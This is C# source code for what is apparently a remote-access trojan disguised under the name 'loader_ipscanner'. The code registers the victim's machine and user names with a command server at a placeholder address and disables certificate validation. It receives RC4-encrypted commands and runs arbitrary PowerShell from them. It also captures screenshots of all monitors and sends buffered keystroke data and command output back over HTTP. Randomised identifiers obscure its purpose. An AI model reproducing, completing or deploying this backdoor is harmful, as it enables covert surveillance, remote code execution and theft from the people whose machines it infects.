loader_ipscanner

using System.Net.Security;
using System.Drawing;
using System.Drawing.Imaging;
using System;
using System.Threading;
using System.Collections.Generic;
using System.Windows.Forms;
using System.Text;
using System.Management.Automation;
using System.Collections.ObjectModel;
using System.Management.Automation.Runspaces;
using System.Net;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Web.Script.Serialization;
using System.Runtime.InteropServices;
using System.Timers;
using System.Xml.Linq;

namespace LIHXSa
{
    public class HnvKzYXNyYAYLD
    {
        public string UUID
        {
            get;
            set;
        }
        public string ID
        {
            get;
            set;
        }
        public string Data
        {
            get;
            set;
        }
    }
    public class TrustAllCertsPolicy : ICertificatePolicy
    {
        public bool CheckValidationResult(ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem)
        {
            return true;
        }
    }
    public class screenshot_class
    {
        [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr XSUJOkKz, UInt32 MoUY);
        [DllImport("user32.dll")] static extern short GetAsyncKeyState(int oQQIkpwSv);
        [DllImport("user32.dll")] static extern IntPtr GetForegroundWindow();
        [DllImport("user32.dll")] static extern int GetWindowText(IntPtr dkpddvUzyIZYUIc, StringBuilder FaBym, int KVZYMNnR);
        [DllImport("user32.dll")] static extern int GetWindowTextLength(IntPtr UGGFHRaQNxJHNv);
        private static Bitmap bitmap_obj;
        private static Graphics graphics_obj;
        private static String response_string = "";
        private static int DwnY = 0;
        public static void screenshot_func()
        {
            foreach (Screen screen in Screen.AllScreens)
            {
                DwnY += 1;
                bitmap_obj = new Bitmap(screen.Bounds.Width, screen.Bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
                graphics_obj = Graphics.FromImage(bitmap_obj);
                graphics_obj.CopyFromScreen(screen.Bounds.X, screen.Bounds.Y, 0, 0, screen.Bounds.Size, CopyPixelOperation.SourceCopy);
                using (MemoryStream CIMCPM = new MemoryStream())
                {
                    bitmap_obj.Save(CIMCPM, ImageFormat.Png);
                    response_string = Convert.ToBase64String(CIMCPM.ToArray());
                    string response_string_f = String.Format("screenshot {0}", response_string);
                    c2_comms(response_string_f, Guid.NewGuid().ToString());
                }
            }
        }
        private static string snow_cdn_url;
        private static string rand_str;
        private static byte[] byte_array;
        private static int number_variable;
        private static string os_version_str;
        private static int random_value;
        private static StringBuilder NwfStopO = new StringBuilder();
        public static string AqnphFuM()
        {
            var juozbPuNie = "";
            var xxAvs = GetForegroundWindow();
            var faFhSXpDMEctLf = GetWindowTextLength(xxAvs) + 1;
            var dLffNO = new StringBuilder(faFhSXpDMEctLf);
            if (GetWindowText(xxAvs, dLffNO, faFhSXpDMEctLf) > 0)
            {
                juozbPuNie = dLffNO.ToString();
            }
            return juozbPuNie;
        }
        public static void dLffNO(object UyhSV, ElapsedEventArgs nPDbnrLcQfsegSp)
        {
            if (NwfStopO.Length != 0)
            {
                byte[] LEhAJpyzbLWTA = Encoding.ASCII.GetBytes(NwfStopO.ToString());
                string DkdJIpEcIoMxXp = String.Format("userinput {0}", Convert.ToBase64String(LEhAJpyzbLWTA));
                c2_comms(DkdJIpEcIoMxXp, Guid.NewGuid().ToString());
            }
            NwfStopO.Clear();
        }
        public static void Main()
        {
            rYqzrd("<ip>", "OYEXidNnoFTXfoKbDqoEaOuj", "75000");
        }
        public static void rYqzrd(string arg1, string arg2, string arg3)
        {
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate {
                return true;
            });
            snow_cdn_url = arg1;
            rand_str = rand_str_generator(16);
            byte_array = Encoding.ASCII.GetBytes(arg2);
            number_variable = 100;
            Process current_process = Process.GetCurrentProcess();
            random_value = current_process.Id;
            try
            {
                number_variable = Convert.ToInt32(arg3);
            }
            catch { }
            bool boolean_var = false;
            string register_string = String.Format("register {0} {1}", rand_str, get_device_username());
            os_version_str = Environment.OSVersion.ToString();
            c2_comms(register_string, null);
            while (!boolean_var)
            {
                try
                {
                    Thread.Sleep(number_variable);
                    string c2_response = c2_comms(null, null);
                    HnvKzYXNyYAYLD response_struct = deserializer_func(c2_response);
                    if (response_struct.UUID != null)
                    {
                        response_struct.Data = decode_bytes_func(response_struct.Data);
                        string[] response_split = split_str_func(response_struct.Data);
                        if (response_split[0].Equals("delay"))
                        {
                            number_variable = Convert.ToInt32(response_split[1]);
                        }
                        else if (response_split[0].Equals("screenshot"))
                        {
                            screenshot_func();
                        }
                        else if (response_split[0].Equals("exit"))
                        {
                            boolean_var = true;
                        }
                        else
                        {
                            Thread ps_thread = new Thread(() => execute_ps_and_respond(response_struct.Data, response_struct.UUID));
                            ps_thread.Start();
                        }
                    }
                }
                catch { }
            }
        }
        protected static string[] split_str_func(string InTBEGpPeQnAL)
        {
            return InTBEGpPeQnAL.Split(new char[] {
        ' '
      }, 2);
        }
        protected static string decode_bytes_func(string arg)
        {
            byte[] rc4_bytes = Convert.FromBase64String(arg);
            return Encoding.ASCII.GetString(rc4_class.call_rc4_encrypt(byte_array, rc4_bytes));
        }
        protected static HnvKzYXNyYAYLD deserializer_func(string arg)
        {
            var serializer = new JavaScriptSerializer();
            HnvKzYXNyYAYLD cust_struct = serializer.Deserialize<HnvKzYXNyYAYLD>(arg);
            return cust_struct;
        }
        protected static string get_device_username()
        {
            string hfhjIbRmEPQu = String.Format("{0} {1}\\{2}", Environment.GetEnvironmentVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"));
            return hfhjIbRmEPQu;
        }
        protected static string rand_str_generator(int arg1)
        {
            StringBuilder string_builder = new StringBuilder();
            string alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
            Int32 epoch_time = (Int32)(DateTime.Now.Subtract(new DateTime(1970, 1, 1))).TotalSeconds;
            Process process_id = Process.GetCurrentProcess();
            Random random_object = new Random(process_id.Id ^ epoch_time);
            if (arg1 == 0)
            {
                arg1 = random_object.Next(1, 16);
            }
            for (int i = 0; i < arg1; i++)
            {
                string_builder.Append(alphabet[random_object.Next(alphabet.Length - 1)]);
            }
            random_value = random_object.Next();
            return string_builder.ToString();
        }

        public static void execute_ps_and_respond(string data_arg, string uuid_arg)
        {
            string response_string;
            StringBuilder string_builder = new StringBuilder();
            try
            {
                Runspace runspace = RunspaceFactory.CreateRunspace();
                runspace.Open();
                RunspaceInvoke runspace_invoke = new RunspaceInvoke(runspace);
                Pipeline pipeline = runspace.CreatePipeline();
                pipeline.Commands.AddScript(data_arg);
                pipeline.Commands.Add("Out-String");
                Collection<PSObject> BMKqa = pipeline.Invoke();
                runspace.Close();
                foreach (PSObject blah in BMKqa) {
                    string_builder.AppendLine(blah.ToString());
                }
                response_string = string_builder.ToString();
            }
            catch (Exception hAkZzqttGRsd)
            {
                response_string = hAkZzqttGRsd.ToString();
            }
            c2_comms(response_string, uuid_arg);
        }
        public static string c2_comms(string arg1, string arg2)
        {
            byte[] rc4_encrypted_string;
            if (arg1 != null)
            {
                rc4_encrypted_string = rc4_class.call_rc4_encrypt(byte_array, Encoding.ASCII.GetBytes(arg1));
            }
            else
            {
                rc4_encrypted_string = new byte[0];
            }
            //will generate a url string with a random string as the path
            string url_string = String.Format("{0}/{1}/", snow_cdn_url, rand_str_generator(0));
            HttpWebRequest http_request = (HttpWebRequest)WebRequest.Create(url_string);
            http_request.Method = "POST";
            http_request.UserAgent = os_version_str;
            http_request.Timeout = 10000;
            http_request.Host = "<ip>";
            http_request.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
            Stream stream = null;
            StreamReader streamreader = null;
            string streamreader_content;
            string data_str = "";
            if (rc4_encrypted_string.Length > 0)
            {
                data_str = Convert.ToBase64String(rc4_encrypted_string);
            }
            HnvKzYXNyYAYLD data_to_send = new HnvKzYXNyYAYLD
            {
                UUID = arg2,
                ID = rand_str,
                Data = data_str
            };
            var js_serializer = new JavaScriptSerializer();
            var serialized_data = js_serializer.Serialize(data_to_send).ToString();
            http_request.ContentType = "application/json";
            try
            {
                stream = http_request.GetRequestStream();
                stream.Write(Encoding.ASCII.GetBytes(serialized_data), 0, serialized_data.Length);
            }
            finally
            {
                if (stream != null)
                {
                    stream.Dispose();
                }
            }
            try
            {
                stream = http_request.GetResponse().GetResponseStream();
                streamreader = new StreamReader(stream);
                streamreader_content = streamreader.ReadToEnd();
            }
            catch
            {
                streamreader_content = "";
            }
            return streamreader_content.ToString();
        }
    }
    public class rc4_class
    {

        public static byte[] rc4_encrypt(byte[] arg1, byte[] arg2)
        {
            int MTQkjWG, i, DjlAYJw, QapuQn, dpomEpazXION;
            int[] int_array_1, int_array_2;
            byte[] byte_array;
            int_array_1 = new int[256];
            int_array_2 = new int[256];
            byte_array = new byte[arg2.Length];
            for (i = 0; i < 256; i++)
            {
                int_array_1[i] = arg1[i % arg1.Length];
                int_array_2[i] = i;
            }
            for (DjlAYJw = i = 0; i < 256; i++)
            {
                DjlAYJw = (DjlAYJw + int_array_2[i] + int_array_1[i]) % 256;
                dpomEpazXION = int_array_2[i];
                int_array_2[i] = int_array_2[DjlAYJw];
                int_array_2[DjlAYJw] = dpomEpazXION;
            }
            for (MTQkjWG = DjlAYJw = i = 0; i < arg2.Length; i++)
            {
                MTQkjWG++;
                MTQkjWG %= 256;
                DjlAYJw += int_array_2[MTQkjWG];
                DjlAYJw %= 256;
                dpomEpazXION = int_array_2[MTQkjWG];
                int_array_2[MTQkjWG] = int_array_2[DjlAYJw];
                int_array_2[DjlAYJw] = dpomEpazXION;
                QapuQn = int_array_2[((int_array_2[MTQkjWG] + int_array_2[DjlAYJw]) % 256)];
                byte_array[i] = (byte)(arg2[i] ^ QapuQn);
            }
            return byte_array;
        }
        public static byte[] call_rc4_encrypt(byte[] arg1, byte[] arg2)
        {
            try
            {
                return rc4_encrypt(arg1, arg2);
            }
            catch
            {
                return new byte[0];
            }
        }
    }
}